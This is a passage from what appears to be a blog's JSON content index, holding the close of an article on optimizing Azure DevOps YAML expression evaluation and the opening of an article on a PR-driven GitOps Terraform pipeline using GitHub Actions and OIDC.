style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='132' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='84' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='84' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='84' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='84' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='132' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='84' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='84' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='132' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='84' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='84' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='84' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='20' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='20' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='180' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='20' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='20' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='20' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='20' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='132' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='132' fill='currentColor' style='font-size:1em'\u003ex\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='84' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='180' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='20' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='116' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='132' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='132' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='132' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='84' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='132' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='84' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='84' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"4-optimization-2-offloading-to-runtime\"\u003e4. Optimization 2: Offloading to Runtime\u003c/h2\u003e\n\u003cp\u003eThe most effective way to eliminate expansion lag is to defer decisions to the runtime engine.\u003c/p\u003e\n\u003ch3 id=\"41-each-vs-matrix\"\u003e4.1: \u003ccode\u003eeach\u003c/code\u003e vs. \u003ccode\u003ematrix\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eThe \u003ccode\u003estrategy: matrix\u003c/code\u003e property is evaluated at runtime and has near-zero impact on initialization speed.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eUse \u003ccode\u003eeach\u003c/code\u003e\u003c/strong\u003e only when the \u003cem\u003estructure\u003c/em\u003e of the tasks must change (e.g., Job A has 3 steps, Job B has 5).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUse \u003ccode\u003ematrix\u003c/code\u003e\u003c/strong\u003e when only the \u003cem\u003evalues\u003c/em\u003e change (e.g., 100 jobs running the same 3 steps with different parameters).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"42-dynamic-conditions---vs-static-checks--\"\u003e4.2: Dynamic Conditions ($[ ]) vs. Static Checks (${{ }})\u003c/h3\u003e\n\u003cp\u003eRuntime expressions (\u003ccode\u003e$[ ]\u003c/code\u003e) do not count toward parsing memory or expansion time. Strategy: use \u003ccode\u003e${{ if }}\u003c/code\u003e only for structural toggles (like \u0026ldquo;Include Windows Job\u0026rdquo;). For all other logic (like \u0026ldquo;Skip if branch is not main\u0026rdquo;), use the \u003ccode\u003econdition:\u003c/code\u003e property.\u003c/p\u003e\n\u003ch2 id=\"5-advanced-techniques-parameter-pruning\"\u003e5. Advanced Techniques: Parameter Pruning\u003c/h2\u003e\n\u003cp\u003eLarge object parameters are copied into every template call, rapidly consuming the orchestrator\u0026rsquo;s memory.\u003c/p\u003e\n\u003ch3 id=\"51-avoiding-large-object-payloads\"\u003e5.1: Avoiding Large Object Payloads\u003c/h3\u003e\n\u003cp\u003eInstead of passing a 50KB configuration object through 5 layers of templates, pass a single \u0026ldquo;ID\u0026rdquo; string. Have the leaf template fetch the full configuration from a variable group or a file at runtime. This \u0026ldquo;Thin Parameter\u0026rdquo; pattern keeps the YAML metadata small and the expansion phase lightning-fast.\u003c/p\u003e\n\u003ch3 id=\"52-conditional-template-references\"\u003e5.2: Conditional Template References\u003c/h3\u003e\n\u003cp\u003eIn 2026, you can use \u003ccode\u003e${{ if }}\u003c/code\u003e to only \u003ccode\u003einclude\u003c/code\u003e templates that are relevant to the current run. This prevents the engine from fetching and parsing irrelevant files for a specific branch or environment, reducing the total \u0026ldquo;Include\u0026rdquo; count and saving network time.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eExpansion is Computation:\u003c/strong\u003e Every template and loop has a \u0026ldquo;CPU Cost\u0026rdquo; on the orchestrator.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eShallow is Fast:\u003c/strong\u003e Limit template nesting to \u0026lt; 4 layers to maintain sub-5-second starts.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOffload to Matrix:\u003c/strong\u003e Shift from compile-time structure to runtime parallelism whenever possible.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrune Parameters:\u003c/strong\u003e Keep your object payloads small to avoid hitting parsing memory limits.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eThe Azure DevOps YAML Expression Masterclass is now complete.\u003c/strong\u003e You have learned to bridge the \u0026ldquo;Expression Gap,\u0026rdquo; architect scalable template libraries, and optimize for high-performance automation. Your pipelines are now ready for the enterprise scale of 2026.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/process/templates#nesting-depth\"\u003eMicrosoft Learn: Pipeline limits and expansion\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/devops/pipelines/repos/multi-repo-checkout#sparse-checkout\"\u003eMicrosoft Learn: Sparse checkout in YAML\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://devblogs.microsoft.com/devops/\"\u003eOfficial Blog: Optimizing large YAML pipelines\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://medium.com/tag/azure-devops\"\u003eEngineering Blog: The cost of YAML initialization\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Why does your pipeline take 45 seconds to start? Learn the technical reasons behind Azure DevOps initialization lag and how to optimize your YAML expressions for maximum speed.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/solving-initialization-lag/","title":"Solving Initialization Lag: Optimizing Expression Evaluation Speed"},{"content":"\u003cp\u003eSomeone on your team runs \u003ccode\u003eterraform apply\u003c/code\u003e from their laptop. The change goes straight to production. There\u0026rsquo;s no PR, no review, no record of what changed or why. A week later, something breaks in the landing zone and nobody can explain what happened. You check the Azure activity log and find a dozen manual changes made by three different engineers over the past month — all from local terminals, all with permanent admin credentials stored in \u003ccode\u003e.env\u003c/code\u003e files.\u003c/p\u003e\n\u003cp\u003eThis is not a process problem. It\u0026rsquo;s an architecture problem. When your pipeline is \u0026ldquo;run it locally and hope,\u0026rdquo; every deployment is a single point of failure.\u003c/p\u003e\n\u003cp\u003eA \u003cstrong\u003eGitOps\u003c/strong\u003e approach fixes this. Every change to the infrastructure is a pull request. Every PR triggers a plan. Every plan gets reviewed before it merges. The pipeline authenticates with a short-lived token, not a stored secret. Nothing reaches Azure without a second set of eyes on the predicted diff.\u003c/p\u003e\n\u003cp\u003eIn 2026, the standard for these pipelines is \u003cstrong\u003eWorkload Identity Federation (OIDC)\u003c/strong\u003e, which eliminates static API keys, and \u003cstrong\u003eShift-Left Testing\u003c/strong\u003e using tools like PSRule. Here\u0026rsquo;s how to build it with GitHub Actions to deploy \u003cstrong\u003eAzure Verified Modules (AVM)\u003c/strong\u003e.\u003c/p\u003e\n\u003ch2 id=\"1-the-pr-driven-plan-first-workflow\"\u003e1. The PR-Driven Plan-First Workflow\u003c/h2\u003e\n\u003cp\u003eThe goal is simple: no change reaches Azure without a human review of the predicted impact. We implement a \u003cstrong\u003ePlan-First\u003c/strong\u003e workflow.\u003c/p\u003e\n\u003ch3 id=\"pr-driven-plan-first-workflow\"\u003ePR-Driven Plan-First Workflow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 712 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,48 L 328,48' fill='none' 